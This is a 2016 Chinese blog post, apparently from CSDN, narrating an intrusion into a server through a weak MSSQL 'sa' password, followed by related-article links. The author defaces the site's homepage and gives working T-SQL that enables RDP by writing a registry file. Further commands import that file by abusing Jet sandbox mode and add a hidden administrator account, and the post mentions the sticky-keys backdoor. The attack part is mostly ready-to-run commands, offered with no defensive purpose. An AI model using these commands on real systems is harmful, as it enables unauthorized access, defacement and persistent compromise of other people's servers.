记一次基于mssql的入侵

原创 2016年09月01日 10:00:07

通过扫描发现目标机器mssql的sa存在弱口令;

上xp_cmdshell,没有结果;

上xp_dirtree看目录结构,定位web目录,修改主页;

难道就到此了吗?不,继续;

发现3389端口未开,写注册表文件开通3389

declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\mstsc.reg', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'Windows Registry Editor Version 5.00'
exec @ret = sp_oamethod @f, 'writeline', NULL,'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]'
exec @ret = sp_oamethod @f, 'writeline', NULL,'"fDenyTSConnections"=dword:00000000'
exec @ret = sp_oamethod @f, 'writeline', NULL,'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]'
exec @ret = sp_oamethod @f, 'writeline', NULL,'"PortNumber"=dword:00000d3d'
exec @ret = sp_oamethod @f, 'writeline', NULL,'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]'
exec @ret = sp_oamethod @f, 'writeline', NULL,'"PortNumber"=dword:00000d3d'

沙盒执行mstsc.reg,导入注册表

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("regedit /s d:\mstsc.reg")')

顺便加个用户net user username userpwd /add, 加入管理员组net localgroup administrators username /add;

启动mstsc,尝试登录,看到如下画面:


算了,不登陆了;

使用5个shift漏洞,shift点5下,开始浏览文件






版权声明:本文为博主原创文章,未经博主允许不得转载。

相关文章推荐

MSSQL十秒一次的job

MSSQL上面如果想定期执行一个job,那么在GUI界面上选择周期最短也是1分钟, 有时候需要执行周期更短的job如十秒左右.那么在GUI界面上选择是不能满足我们的需求的. 找了一下,发现...

重磅-记一次惊心动魄的阿里云服务器被入侵过程定位

现象 某天登陆自己的阿里云服务器,发现有很多命名奇怪的进程:  定位步骤一:查看进程文件位置 通过命令 ll /proc/pid 查看进程文件exe执行路径,打开后整个人都惊呆了!mysql目...

记一次Linux系统被入侵的排查过程(一)

事件起因:某晚,22点左右,我在与某君电话中,突然发现电脑上QQ自动离线,然后又自动登录,开始以为QQ被盗了。电话完后,发现是网络不稳定引起的,由于小区宽带上个月才进电信光纤网,存在一些不稳定因素,是...

一次垃圾地入侵日记.php

  • 2008年12月15日 12:30
  • 46KB
  • 下载

记录一次被入侵5900端口经历

上周星期二,电脑被远程登陆了。对方登陆后通过浏览器一路登陆到支付宝,当时也没想太多,直接拔掉路由器,虽然他应该也搞不到支付密码。不过当时为了安全还是拔掉路由器。概念介绍VNC:用于远程桌面控制的应用程...

一次入侵全过程(图).php

  • 2009年02月05日 15:31
  • 25KB
  • 下载

一次系统艰难而真实的入侵

  • 2008年10月13日 15:16
  • 29KB
  • 下载

剖析:一次入侵Linux服务器的事件记录

针对此PHP漏洞的尝试,ColdFusion,内容管理系统存在此漏洞是很常见的。在某些情况下,特定的攻击可能会成功,对高价值的服务器,会导致非常显著的数据泄漏。在其他情况下,攻击者将会大规模的操控被感...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:记一次基于mssql的入侵
举报原因:
原因补充:

(最多只允许输入30个字)